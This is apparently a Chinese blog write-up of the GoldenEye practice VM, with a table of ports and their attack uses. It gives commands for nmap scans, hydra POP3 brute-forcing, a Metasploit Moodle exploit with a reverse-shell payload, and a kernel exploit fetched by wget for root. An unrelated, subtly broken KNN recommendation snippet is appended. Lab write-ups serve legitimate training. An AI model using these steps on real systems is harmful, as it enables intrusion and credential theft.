1、GoldenEye-靶机-百个项目计划

一、介绍

大家好,因为自己是一个刚入门网安不久的新人,现在想通过打一些靶机来进行学习,这里的计划是通过百个项目来进行实操,巩固自己的基础。发文也是记录一下自己的开始,文章会写的比较详细,让0基础的小白跟着做也会。本文仅用于技术讨论与研究,如用作非法用途作者概不负责。GoldenEye也是我们新手入门必打靶机,那我们就开始进入正文吧。

二、GoldenEye靶机实战

首先查看该IP存活情况命令为nmap -sP 192.168.10.0/24

a1b62648395347d4ada8de4d18c9267f.png

这里192.168.10.132为本机ip,结尾是1、2的先排除,所以目标靶机ip为192.168.10.134。接着我们就可以开始端口扫描了用nmap 192.168.10.134来查看该ip开放了哪些端口。3735f91709c6479d9ac98e2ba661afbd.png

可以看到开放了25、80端口,从下面的表中可以看出25端口的可能会出现邮件伪造,80端口的可能会出现web的一些漏洞。

这里是一些常见端口会出现的漏洞:

端口

服务

渗透用途

tcp 20,21

FTP

允许匿名的上传下载,爆破,嗅探,win提权,远程执行(proftpd 1.3.5),各类后门(proftpd,vsftp 2.3.4)

tcp 22

SSH

可根据已搜集到的信息尝试爆破,v1版本可中间人,ssh隧道及内网代理转发,文件传输等等

tcp 23

Telnet

爆破,嗅探,一般常用于路由,交换登陆,可尝试弱口令

tcp 25

SMTP

邮件伪造,vrfy/expn查询邮件用户信息,可使用smtp-user-enum工具来自动跑

tcp/udp 53

DNS

允许区域传送,dns劫持,缓存投毒,欺骗以及各种基于dns隧道的远控

tcp/udp 69

TFTP

尝试下载目标及其的各类重要配置文件

tcp 80-89,443,8440-8450,8080-8089

各种常用的Web服务端口

可尝试经典的topn,vpn,owa,webmail,目标oa,各类Java控制台,各类服务器Web管理面板,各类Web中间件漏洞利用,各类Web框架漏洞利用等等……

tcp 110

POP3

可尝试爆破,嗅探

tcp 111,2049

NFS

权限配置不当

tcp 137,139,445

Samba

可尝试爆破以及smb自身的各种远程执行类漏洞利用,如,ms08-067,ms17-010,嗅探等……

tcp 143

IMAP

可尝试爆破

udp 161

SNMP

爆破默认团队字符串,搜集目标内网信息

tcp 389

LDAP

ldap注入,允许匿名访问,弱口令

tcp 512,513,514

Linux rexec

可爆破,rlogin登陆

tcp 873

Rsync

匿名访问,文件上传

tcp 1194

OpenVPN

想办法钓VPN账号,进内网

tcp 1352

Lotus

弱口令,信息泄漏,爆破

tcp 1433

SQL Server

注入,提权,sa弱口令,爆破

tcp 1521

Oracle

tns爆破,注入,弹shell…

tcp 1500

ISPmanager

弱口令

tcp 1723

PPTP

爆破,想办法钓VPN账号,进内网

tcp 2082,2083

cPanel

弱口令

tcp 2181

ZooKeeper

未授权访问

tcp 2601,2604

Zebra

默认密码zerbra

tcp 3128

Squid

弱口令

tcp 3312,3311

kangle

弱口令

tcp 3306

MySQL

注入,提权,爆破

tcp 3389

Windows rdp

shift后门[需要03以下的系统],爆破,ms12-020

tcp 3690

SVN

svn泄露,未授权访问

tcp 4848

GlassFish

弱口令

tcp 5000

Sybase/DB2

爆破,注入

tcp 5432

PostgreSQL

爆破,注入,弱口令

tcp 5900,5901,5902

VNC

弱口令爆破

tcp 5984

CouchDB

未授权导致的任意指令执行

tcp 6379

Redis

可尝试未授权访问,弱口令爆破

tcp 7001,7002

WebLogic

Java反序列化,弱口令

tcp 7778

Kloxo

主机面板登录

tcp 8000

Ajenti

弱口令

tcp 8009

tomcat Ajp

Tomcat-Ajp协议漏洞

tcp 8443

Plesk

弱口令

tcp 8069

Zabbix

远程执行,SQL注入

tcp 8080-8089

Jenkins,JBoss

反序列化,控制台弱口令

tcp 9080-9081,9090

WebSphere

Java反序列化/弱口令

tcp 9200,9300

ElasticSearch

远程执行

tcp 11211

Memcached

未授权访问

tcp 27017,27018

MongoDB

爆破,未授权访问

tcp 50070,50030

Hadoop

默认端口未授权访问

先看一下80端口的有什么信息可以利用,这里看到给出了一个目录。

9ebbb0565401b3b8ab4ac62b09fab955.png

进去发现是这个界面,这里给出了一个信息是存在一个登陆框。467ea96c8b5b5f65a5e293e799370d55.png

(我们需要找到账号密码),接着还是回到开头的页面看看前端给出什么有用的信息。这里可以看到有一个js,点进去看看。ff4f780d30f435440e84a3dcd78e96ea.png

这里英语不是很好翻译一下吧。3b8dc2217edd5cd9dc84405e05c1e801.png

9365f877f8826f494d036bab2a7bc8a5.png

可以看到给出了2个人名Boris、Natalya还有一个编码InvincibleHack3&#114把编码拿来解密一下。15fdd59e5c2aec59136cf4b6501ff3b5.png

得到一个值:InvincibleHack3r

这里有密码了在拿这个密码去登陆刚刚的登陆界面,可以拿刚刚给的用户名去一个一个试试发现用户名是boris密码InvincibleHack3r进入界面.f1787ddc95917b6257850a7c456d26aa.pnga335471c6104406b1d24733869972e9d.png

界面给到我们有用的信息是开启了pop3服务,pop3服务主要用于支持使用客户端远程管理在服务器上的电子邮件。

nmap再去扫描一下全端口nmap -p- 192.168.10.1342c9105ba2208b0e6a91108087bc0ae08.png

发现了一个55006和55007端口,查看一下里边有什么详细信息nmap -p55006,55007 192.168.10.134 -sS -sV -A -T5 前面为参数版本信息-T5为最快速度。

114270b12bffc353ef8d2abd3a95bd2d.png

可以发现和刚刚提示的pop3信息一样,把刚刚得到的2个用户名写到记事本echo -e 'natalya\nboris' > labi.txt

4ecde4b201177b03dadf162f439b0273.png

用hydra(九头蛇)进行爆破,hydra可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务,支持Linux、Windows、Mac平台安装。hydra -L labi.txt -P /usr/share/wordlists/fasttrack.txt 192.168.10.134 -s 55007 pop3这里的-L是针对字典-l是单个用户,进行爆破

c545df9767eb9d33955a7bad55401af0.pnge69a64b4e1bac7a56910f0caaa117157.png

可以看到爆破出了两个账号密码用户一、login: natalya password: bird用户二、login: boris password: secret1!

用nc进行连接

nc 192.168.10.134 55007                #登陆邮箱
user boris                                         #登陆用户名
pass secret1!                                   #登陆密码
list                                                    #查看邮件数量
retr 1~3                                            #查看邮件内容

用户名和密码为刚刚爆破出来的,登陆成功

 

ba42efae83bff371093ec56215e3d420.png

 

d6142cbe547bffedad271cfff10c87b1.png

发现有3封邮件,retr 1、2、3分别打开查看

4b46894480a34495cdea0f5c0860aefb.png

发现第二封有一下的重点。

 

eef92847d1e41528771d3d23dcb47f67.png

我们在去登陆natalya的邮箱,可以看到有2封邮件内容分别是:

 

952bea55efc619784612c287234186db.png

第一封邮件:

娜塔莉亚,请你停止破解鲍里斯的密码。 此外,您是 GNO 培训主管。 一旦学生被指定给你,我就会给你发电子邮件。

此外,请注意可能的网络漏洞。 我们获悉,一个名为 Janus 的犯罪集团正在追捕 GoldenEye。

---------------------------------------------------------------------------------------------------------------------------------

第二封邮件:

好的 Natalyn 我有一个新学生给你。 由于这是一个新系统,如果您看到任何配置问题,请告诉我或鲍里斯,尤其是它与安全有关的问题……即使不是,也只需以“安全”为幌子输入……它就会 轻松升级变更单:)

好的,用户信用是:

username:xenia

password:RCP90rulez!

鲍里斯验证了她是一个有效的承包商,所以只需创建帐户好吗?

如果您没有外部内部域的 URL:severnaya-station.com/gnocertdir

**请务必编辑您的主机文件,因为您通常在远程离线工作....

由于您是 Linux 用户,因此只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com。

---------------------------------------------------------------------------------------------------------------------------------

其中第二封邮件给出重要信息账号密码和内部域

配置本地HOSTS文件

vim /etc/hosts
192.168.10.134 severnaya-station.com

c46cc21463bd036b24197468c03a622e.png

在打开网址severnaya-station.com/gnocertdir/

98f889643033ae86f96d541a64bda4eb.png

发现这里有Moodle cms框架,点击:

cb3045b99b276c33d6c4b70e80e92681.png

发现有需要输入账号密码,用之前邮箱里给的账号密码进入看看,上面邮件里用户xenia的。

 

4e95588cbb6d7523329fc92c86df11a0.png

成功进入

 

dc5a67b222ee06f212ae4d1f799c0feb.png

这里又看到一个人名doak

bf08e05284dd0a255f2879f2f3c8d494.png

我们将他写入我们的txt中

b8c3a6bd401ae200c3edddd39b041003.png

继续拿去爆破hydra -L labi.txt -P /usr/share/wordlists/fasttrack.txt 192.168.10.134 -s 55007 pop3这里也可以-l指定用户名hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.10.134 -s 55007 pop3

 

b109fb775c904c80dd871fe8a62faf64.png

爆破出来login: doak password: goat

继续用nc去连接查看信息

ed770efe8cfedd78f95faa3d74d675cd.png

邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。

用户名:dr_doak

密码:4England!

回到之前浏览器界面登陆一下

6da919d3318f607fb21886bdc6c63480.png

 

2bda4030c5394ff91b758b35b7b24034.png

有一个版本号有一个txt,打开txt看看有什么好东西:

 

38488f888199524752ce57ccb94b7462.png

还是那句话英语太烂了,拿去翻译一下

 

32ec98d2a786df6817f22c2bce016ff5.png

他说更多的东西在图片的目录里,那我们看看吧

 

d48aeec7d699025495f7b92ead652d7f.png

是上面这张图片下载下来wget http://192.168.10.134/dir007key/for-007.jpg

这里我们可以用exiftool(图虫)看一下图片里有没有什么隐藏信息,这里涉及一些ctf知识,大家不用担心,不会咱们就去查。

 

23ceeb8531419d291617d9526f4e2564.png

一眼就看到这里很奇怪是个base64编码的我们去解码一下

7a9c58cfd60cf52996973770c09ec7af.png

解码的结果是xWinter1995x!其中有说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。那就可以试试用户名:admin密码:xWinter1995x!的登陆

 

8b1328925b0b28cd8de7a35cfd225b37.png

成功进入到管理员的界面,可以看到我们的管理员界面了该干嘛?getshell干嘛,愣着啊!一些常见getshell手段:文件包含漏洞、SQL注入漏洞、文件上传漏洞、暴力破解、木马攻击。如果我们知道该系统存在的历史漏洞,我们也可以通过历史漏洞来拿shell。

3f6ffc43d46c1526ee207a643ae504c3.png

通过搜索可以看到我们可以利用漏洞CVE-2013-3630

这里我们可以利用msf这款工具:Metasploit Framework(MSF)是一款开源安全漏洞监测工具,该工具已附带数千个已知的软件漏洞,且仍在保持更新。

msfconsole                            #进入MSF框架攻击界面
search moodle                       #查找 moodle类型漏洞
use 1                                      #调用1 exp
show options                          #查看需要什么条件

 

0f9e8841d1ce41c525a749da257d4c14.png

看到这里也有我们之前找的漏洞CVE-2013-3630

在use 1调用exp,在show options看一下需要什么条件。

 

8060eca0084d2f138b2d1405ac03a07c.png

根据给出的一个一个设置:

set username admin                           #设置用户名
set password xWinter1995x!              #设置密码
set rhost severnaya-station.com        #设置:rhosts
set targeturi /gnocertdir                      #设置目录: /

 

c907d647ce3222a530a35b470d2ac7ab.png

然后在设置payload让他回弹set payload cmd/unix/reverse

在输入show options看看还需要设置什么。

4082bd4e18c84fc434e4942d22598e95.png

需要设置LHOST,本机IP是192.168.10.132,输入set lhost 192.168.10.132让他回来找咱们,这里我们还不可以run。我们还需要修改执行PSpellShell,在次登陆admin的账户依次点击

 

1fe1f8a7d5c58e6e506d2d744e1f854c.png

 

f96c23bf7b675c92e99f2a53d163df99.png

改成PSpellShell在点击保存

57acc73c985453b20ef125dc12b547d7.png

然后就可以run了

97239e880156b04dc415faf2d644dcc5.png

这里显示已经成功建立会话,看一下现在的用户whoami

31e1223b68f940a5f5b99635112f0737.png

看看有没有装python,如果装了python的话可以输入python -c 'import pty; pty.spawn("/bin/bash")'这是一个 Python 命令,用于在交互式 Bash shell 中执行命令。命令中 pty 模块提供了一个伪终端接口,使得可以在终端上执行命令并输出结果。具体来说,pty.spawn("/bin/bash") 命令会创建一个 Bash 进程,并将其连接到伪终端。然后,你可以在 Bash shell 中执行任意命令,并且可以使用 TAB 键自动完成命令和路径。这个命令通常被用于在渗透测试和攻击中,以获取更高的权限或者用于维持对目标系统的访问。它可以帮助攻击者欺骗目标系统,使其认为攻击者已经获得了更高的权限或控制权。

25db3bb0b938b6184c3bbee92da13d7e.png

现在我们是已经拿到了该主机的权限,接下来要做的就是提权了,首先查看下该主机版本号uname -a

99d015084c4aeee5451119eab0063a4c.png

这里可以看到是Linux ubuntu 3.13.0版本的,那么接下来我们查一下有没有攻击脚本给我们利用一下

338ef08264c80141562ad39ed1acb836.png

还真有

41c82671fbbc386ba8491baa39c8d98b.png

看到这里是由gcc编译的,所以对方的主机中需要安装gcc,这里看看gcc安装了没gcc -h很明显并没有安装。

34a8e030d8113bd2afcc4119ff8c2e0c.png

cc -h看下有没有安装cc编译,可以看到存在该目录。

bec84f4596ad20437edddda72b3496a0.png

在我们kali攻击机中也有漏洞库的可以通过searchsploit 37292查看

9c559b09dc8c6158f2108a7789300ec2.png

cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/Desktop/把他复制到我们的桌面上来。

2ca4ffdc7d78d668edae1d8198013100.png

用vim 37292.c来编辑一下

 

ad4a9541c6b520483f58767b98c762b5.png

把这里gcc编译的改为cc保存后退出。开启一个python -m http.server 8085端口的一个服务

 

078910efb9960e1556fdc32d9e6a3499.png

这里我们回到之前主机操作,进入tmp目录。

 

99316c2dcd6410ca63a1d3274a2be0d9.png

利用wget http://192.168.10.129:8085/37292.c下载http服务中的文件

3c32b558acd04125abcde8ee5b7e649e.png

下载成功后我们执行cc编译cc 37292.c -o labi

e03296a5baa9ede7d93c77eef9388112.png

编译成功labi,我们在./labi执行,现在是伪终端我们改为真终端输入python -c 'import pty; pty.spawn("/bin/bash")'后可以看到是root用户了

 

317c0120021a9d52364cb27bc29336d4.png

接下来可以进入root目录id查看目前权限

 

5960519ddb1556b9d753a04f6b394956.png

这个时候ls是看不到什么文件的,我们在执行ls -la,可以看到有隐藏文件.flag.txt

c3bdf7bc9f401bed0dd31585177b438d.png

然后我们在cat .flag.txt读取root下flag的信息,可以看到我们已经拿下flag了

 

684c6ba49b866258d3c7c08a63c98659.png

 三、总结

从这台GoldenEye靶机中我们可以学到信息收集、hydra暴力破解、Getshell、提权。欢迎师傅们沟通交流!

 

  • 19
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
好的,针对您的问题,我可以提供一个KNN算法模型来实现电影推荐功能。下面是代码实现和解释: 首先,我们需要准备好电影评分数据集,这里我们使用MovieLens数据集中的评分数据集。然后,我们还需要准备一个新用户的电影评分数据,用于为其推荐电影。 ```python import pandas as pd # 读取评分数据集 ratings_data = pd.read_csv('ratings.csv') # 构建评分矩阵 ratings_matrix = ratings_data.pivot_table(index='userId', columns='movieId', values='rating') # 新用户的电影评分 new_user_ratings = { 1: 5.0, # Toy Story 2: 4.0, # Jumanji 3: 2.0, # Grumpier Old Men 4: 3.0, # Waiting to Exhale 5: 5.0, # Father of the Bride Part II 6: 3.0, # Heat 7: 4.0, # Sabrina 8: 5.0, # Tom and Huck 9: 3.0, # Sudden Death 10: 2.0, # GoldenEye } ``` 接下来,我们可以使用sklearn中的KNeighborsRegressor来建立KNN模型。这里我们使用余弦相似度作为距离度量,选取K=10。然后,我们可以使用模型对新用户进行电影推荐: ```python from sklearn.neighbors import KNeighborsRegressor from sklearn.metrics.pairwise import cosine_similarity import numpy as np # 计算余弦相似度 similarity_matrix = cosine_similarity(ratings_matrix) # 将新用户的评分数据转换为特征向量 new_user_vector = np.zeros((1, ratings_matrix.shape[1])) for movie_id, rating in new_user_ratings.items(): new_user_vector[0, movie_id - 1] = rating # 使用KNN模型进行电影推荐 knn = KNeighborsRegressor(n_neighbors=10, metric='cosine') knn.fit(ratings_matrix, np.arange(ratings_matrix.shape[0])) neighbor_indices = knn.kneighbors(new_user_vector, return_distance=False)[0] # 根据相似度对电影进行加权平均 recommendations = [] for movie_id in range(1, ratings_matrix.shape[1] + 1): if new_user_vector[0, movie_id - 1] == 0: rating_sum = 0 weight_sum = 0 for neighbor_index in neighbor_indices: rating = ratings_matrix.iloc[neighbor_index, movie_id - 1] similarity = similarity_matrix[new_user_index, neighbor_index] rating_sum += rating * similarity weight_sum += similarity if weight_sum > 0: rating_mean = rating_sum / weight_sum recommendations.append((movie_id, rating_mean)) # 根据评分排序,推荐Top-N电影 recommendations = sorted(recommendations, key=lambda x: x[1], reverse=True) top_n = 5 recommended_movies = [] for movie_id, rating in recommendations[:top_n]: recommended_movies.append(movie_id) ``` 根据上述代码,我们可以得到推荐给新用户的Top-5电影。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值